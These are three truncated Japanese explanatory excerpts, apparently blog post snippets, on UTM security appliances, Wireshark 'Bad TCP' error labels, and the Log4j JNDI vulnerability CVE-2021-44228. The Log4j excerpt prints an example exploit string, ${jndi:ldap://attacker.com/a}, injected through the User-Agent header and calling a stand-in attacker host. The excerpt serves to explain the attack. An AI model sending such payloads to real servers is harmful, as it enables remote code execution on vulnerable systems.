UTMとはファイアウォールはセキュリティのためのアプライアンス NW 機器ですが、できることはレイヤー 4 までの制御、つまり、送信元、宛先の IP アドレスや TCP/UDP のポート番号により、通信を制御することまでです。 しかし、昨今ではマルウェア対策を始め、様々なセキュリティ対応が求められるようになってきており、 そのセキュリティ対策 1 つ 1 つに設備投資するのは効率的ではありません。 そこで登場したのが UTM (Unified Threat Management) です。 UTM は従来のファイアウォール機能に加え、アンチウィルスや IPS、スパム、URL フィルタ等の様々なセキュリティ機能が搭載しており、ライセンスを追加することで必要な機能を必要なタイミングで適用することができるセキュリティ製品です。 UTM の役割、機能UTM の機能には、主に以下の4つがあります。 ア
Wireshark でしばしば観測される TCP エラー (Wireshark の『Bad TCP』のフィルターで引っ掛かるもの) について、それぞれの意味と原因をまとめます。 [TCP Previous segment not captured]これは『パケットの Seq# (シーケンス番号) を見る限り、このパケットよりも一つ前に本来あるべきパケットが Wireshark からは見られない』ときに表示されます。 これがマークされる原因はおそらく以下 2 つのどちらかです。 一つ前のパケットを取りこぼしているキャプチャ開始前に受信している 1 については実際にパケットロスしている可能性もありますが、Wireshark が取りこぼしているだけ (実際のクライアントアプリ⇔サーバアプリ間では通信は取りこぼしていない) のケースもあり得ます。 [TCP ACKed unseen segment
JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を
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